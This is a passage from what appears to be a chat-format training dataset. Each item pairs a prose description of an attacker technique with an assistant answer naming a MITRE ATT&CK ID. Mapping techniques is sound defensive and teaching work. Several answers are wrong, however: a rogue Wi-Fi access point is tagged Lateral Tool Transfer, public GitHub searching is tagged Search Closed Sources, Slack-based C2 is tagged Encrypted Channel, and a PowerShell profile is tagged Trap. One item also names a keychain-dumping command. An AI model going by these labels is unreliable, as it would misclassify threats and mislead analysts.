            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use raw TCP sockets to send stolen data to an external IP address, avoiding any C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker spoofs the parent process ID within the access token to hide malicious activity under a legitimate process name."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party website is used to serve a forged login form for a target organization's web portal, harvesting credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stages harvested files in a hidden network share mounted locally before pushing them out."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows command \"netsh wlan show networks\" to list all accessible wireless networks on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors subvert trust controls by modifying the SIP metadata, causing the system to trust and run unsigned payloads."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtains domain user credentials and uses them for lateral movement via SMB."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised external SSD is used to pull logs from a system, then later connected to the attacker’s machine for analysis."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker orchestrates a distributed reflection attack by combining DNS, NTP, and Memcached services, each sending amplified traffic to the target's IP address."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks a legitimate developer proxy service to deliver and execute ransomware."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code intercepts and modifies MQTT messages in transit, injecting commands that compromise IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads cgroup files in /sys/fs/cgroup to identify processes belonging to containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute a malicious control panel file to surrogate legitimate system binaries, achieving code execution through the Control Panel proxy technique."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the Access Control List of a Windows service registry key to hijack its execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the built-in 'Remove-ItemProperty' cmdlet to clear the 'Zone.Identifier' alternate data stream from a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary configures a compromised host to function as a forward HTTP proxy, relaying all command-and-control traffic through it to hide its origin."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the PowerShell profile to execute a payload each time PowerShell starts, implementing the trap event‑triggered execution approach."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators use binary padding to alter the entropy profile of a payload, bypassing entropy‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor abuses a vulnerable system call in the operating system, causing a kernel panic and immediate loss of service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tries to evade detection by using a rogue Wi-Fi access point, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops an HTA file and launches it with mshta.exe, which then spawns a cmd.exe process to download additional tools."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Linux command 'getent group' to retrieve the system's group memberships."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware patches the memory of a cryptographic library at runtime to weaken encryption."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a local staging directory to hold harvested PDF reports before compressing and sending them out."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious QR codes posted on Discord redirected users to a phishing site that captured their LinkedIn credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool updates the code signing enforcement settings via Group Policy to permit execution of altered binaries."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a DCSync operation, the cyber‑actor extracts the password hash of the krbtgt account to facilitate Golden Ticket attacks."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor obtains a signed code‑signing certificate from a trusted software vendor and signs malicious binaries, which are then accepted by the victim's defenses."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised USB drive contains a hidden PowerShell script; when the user inserts the drive and opens a file, the script executes automatically."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages Google dorking to locate exposed login pages on the victim's web servers."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker accesses public GitHub repositories to locate leaked credentials and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan issues a raw IOCTL request to the '\\Device\\PhysicalMemory' driver to enumerate other drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a misconfigured SSO integration to obtain SAML assertions that provide access to email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised legitimate blog hosts a hidden iframe that triggers an exploit chain, delivering a trojan to any visitor’s system."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using systemd, the threat actor schedules a timer unit that executes a backdoor script on system boot."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using msiexec with the /f option, the attacker repairs a compromised installation and injects malicious code."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targeted a publicly exposed API Gateway integration with Lambda, allowing code execution."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group runs automated scripts that pull WHOIS information to map the infrastructure of a target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs an exploit against a vulnerable version of the Windows Remote Desktop Protocol to execute code as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation tool extracts private keys from Docker container volumes that were mounted with insecure permissions."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages Windows Management Instrumentation to pull disk drive model numbers and capacities."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit framework generates superfluous data blocks in network packets, blending benign traffic with malicious commands to avoid detection by IDS."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware dropper on macOS first runs 'security export' to dump the keychain contents before encrypting data."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script pulls password entries from the operating system's credential manager tied to browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a compromised domain to host a malicious WordPress plugin that is automatically installed on the victim's site."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a misconfigured firewall to create a bidirectional channel between the internal network and an external host."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a private Docker registry and push a trojanized image that is later pulled by internal services."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a PowerShell script to stop the Windows Firewall service and set the registry key to permanently disable it."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system includes a malicious PowerShell profile script that runs a hidden command each time PowerShell starts, indirectly launching the attacker's code."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script writes logs to a remote Google Drive folder for later download."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a Word document with embedded VBA that executes only when the document is opened in a corporate environment."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker stages a scheduled task that runs a curl command to pull emails from the victim’s POP3 service using stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing Mavinject, the adversary injected code into the Windows Service Control Manager (services.exe) to masquerade malicious activity as a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code calls the Windows API GetAdaptersInfo to enumerate network adapters and their IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage group utilizes a legitimate Slack workspace to send C2 messages to compromised clients."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a custom tool to install a malicious digital certificate into the machine's certificate store, facilitating signed payload execution."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the Windows Installer service to execute code with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a domain name system (DNS) tunneling technique to exfiltrate sensitive data from a compromised network without being detected."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group collects corporate documents and stores them on a portable SD card for later extraction."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the Netlogon secure channel on the domain controller to bypass authentication checks."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker accessed the public LDAP directory to harvest digital certificates linked to employee accounts."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary changes the Windows power plan to set the system to never sleep, ensuring their malicious process remains active."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the stored system image to include espionage tools, then force the system to load the altered image."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captures all form fields entered by the user, including usernames and passwords, before transmitting them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs a multi-vector DDoS campaign combining TCP, UDP, and HTTP floods to render the target's services unavailable."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attack uses Windows Management Instrumentation (WMI) to provision a new administrator account on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a zero‑day in SharePoint’s file preview feature to extract metadata from classified PDFs."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool uses the NtCreateThreadEx system call to inject a payload into the memory space of a critical system process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes a cron job that compresses database dumps and uploads them to an attacker‑controlled S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses Mimikatz to harvest cached domain credentials from the system's memory without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrapes job postings to infer technologies and software used by the target."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a malicious TFTP server to supply a compromised boot image during the system's Pre-OS boot process."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker gains access to Microsoft Teams chats and extracts authentication tokens that users have shared in conversation."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a container breakout to reach the host's metadata service and read IAM credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious image file disguised as a .doc attachment is sent in a targeted email to execute a macro when opened."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit for a privilege escalation bug in the Linux PAM module is used to obtain user credentials."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
